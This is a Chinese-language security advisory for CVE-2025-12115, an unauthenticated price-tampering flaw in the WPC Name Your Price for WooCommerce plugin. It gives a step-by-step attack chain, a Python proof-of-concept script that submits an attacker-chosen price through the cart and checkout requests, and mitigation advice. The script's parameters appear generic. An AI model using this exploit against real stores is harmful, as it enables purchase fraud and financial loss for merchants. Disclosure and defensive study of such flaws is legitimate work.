IPBUF安全漏洞报告
English
CVE-2025-12115 CVSS 7.5 高危

WPC Name Your Price for WooCommerce 插件未授权价格篡改漏洞 (CVE-2025-12115)

披露日期: 2025-10-31

漏洞信息

漏洞编号
CVE-2025-12115
漏洞类型
业务逻辑漏洞
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WPC Name Your Price for WooCommerce

相关标签

WordPressWooCommerceWPC插件业务逻辑漏洞价格篡改访问控制绕过未授权访问电子商务安全

漏洞概述

CVE-2025-12115 是 WordPress 插件 WPC Name Your Price for WooCommerce 中的一个高危安全漏洞。该插件允许客户自行输入产品价格,但存在访问控制缺陷,使得攻击者可以在插件明确禁用自定义价格功能的产品上仍然输入自定义价格。由于插件未正确验证产品是否允许自定义定价,未授权的攻击者(无需登录)可以绕过这一限制,以低于正常价格购买商品,从而造成经济损失。此漏洞影响该插件在 2.1.9 及之前的所有版本,CVSS 评分 7.5,属于高危漏洞。攻击者无需任何认证或用户交互即可利用此漏洞,只需构造特定的请求即可篡改商品价格。建议受影响的用户立即升级到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于 WPC Name Your Price 插件在处理产品价格时缺少正确的权限验证。插件提供了“Name Your Price”功能,允许客户自行输入想要支付的价格,但管理员可以为特定产品禁用此功能。问题在于插件前端在检查产品是否允许自定义价格时存在逻辑缺陷,攻击者可以通过修改前端请求参数或利用 API 接口绕过这个检查。具体来说,插件的 JavaScript 代码在产品页面加载时检查是否显示价格输入框,但这个检查仅依赖前端数据而未在后端进行二次验证。攻击者可以使用浏览器开发者工具或直接构造 HTTP 请求,强制启用价格输入功能,然后提交低于正常价格的金额完成购买。由于 WooCommerce 在处理订单时信任了前端提交的价格数据,导致用户可以以任意低价格购买原本禁止自定义价格的商品。攻击流程包括:1) 访问产品页面;2) 绕过前端禁用限制启用价格输入;3) 输入低价金额;4) 提交订单完成购买。

攻击链分析

STEP 1
步骤1
攻击者访问目标 WooCommerce 产品页面,该产品的 'Name Your Price' 功能已被管理员禁用
STEP 2
步骤2
攻击者使用浏览器开发者工具或拦截 HTTP 请求,修改前端代码以绕过禁用限制,强制显示价格输入框
STEP 3
步骤3
攻击者在价格输入框中输入远低于正常价格的金额(如 1.00 美元),然后提交添加到购物车的请求
STEP 4
步骤4
插件后端未正确验证价格参数,接受了攻击者提交的低价金额,将商品添加到购物车
STEP 5
步骤5
攻击者完成结账流程,以篡改后的低价成功购买商品,造成商家经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12115 PoC - WPC Name Your Price Bypass # Description: Bypass price restriction to purchase products at lower prices import requests import json TARGET_URL = "https://vulnerable-site.com" PRODUCT_ID = 123 # Replace with actual product ID NORMAL_PRICE = 99.99 ATTACKER_PRICE = 1.00 def exploit_cve_2025_12115(): """ This PoC demonstrates how an attacker can bypass the 'Name Your Price' restriction on WooCommerce products that have this feature disabled. """ session = requests.Session() # Step 1: Get product page to obtain nonce and session cookies product_url = f"{TARGET_URL}/?p={PRODUCT_ID}" response = session.get(product_url) # Step 2: Extract CSRF token from the page # In real attack, attacker would use browser dev tools or extract from HTML # Step 3: Craft malicious request to add item to cart with custom price # The vulnerability allows setting any price regardless of product settings cart_url = f"{TARGET_URL}/?wc-ajax=add_to_cart" payload = { "product_id": PRODUCT_ID, "quantity": 1, "price": ATTACKER_PRICE, # Attacker-controlled price "wpc_name_your_price": ATTACKER_PRICE # Plugin-specific parameter } response = session.post(cart_url, data=payload) # Step 4: Checkout with manipulated price checkout_url = f"{TARGET_URL}/checkout/" checkout_data = { "billing_first_name": "Attacker", "billing_last_name": "User", "billing_email": "[email protected]", "total": ATTACKER_PRICE } response = session.post(checkout_url, data=checkout_data) print(f"[!] Exploit sent with price: ${ATTACKER_PRICE}") print(f"[*] Expected price: ${NORMAL_PRICE}") print(f"[*] Potential loss: ${NORMAL_PRICE - ATTACKER_PRICE} per item") return response.status_code == 200 if __name__ == "__main__": exploit_cve_2025_12115()

影响范围

WPC Name Your Price for WooCommerce <= 2.1.9

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1) 临时禁用 WPC Name Your Price 插件,使用 WooCommerce 默认定价功能;2) 启用 WordPress 安全插件(如 Wordfence)进行实时防护;3) 在 WooCommerce 中添加订单价格异常检测逻辑,自动标记或取消价格明显低于成本价的订单;4) 联系网站托管服务商启用额外的应用层防护。需要注意的是,临时缓解措施可能影响网站功能,建议尽快升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表